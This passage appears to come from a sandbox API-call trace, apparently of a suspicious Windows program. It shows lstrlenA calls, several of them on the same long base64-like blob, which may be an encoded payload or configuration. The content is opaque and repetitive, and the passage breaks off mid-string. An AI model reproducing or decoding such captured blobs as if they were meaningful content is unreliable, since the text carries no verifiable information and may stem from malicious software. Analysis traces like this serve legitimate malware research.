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") returned 5820
	[0084.637] lstrlenA (lpString="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") returned 5820
	[0084.637] lstrlenA (lpString="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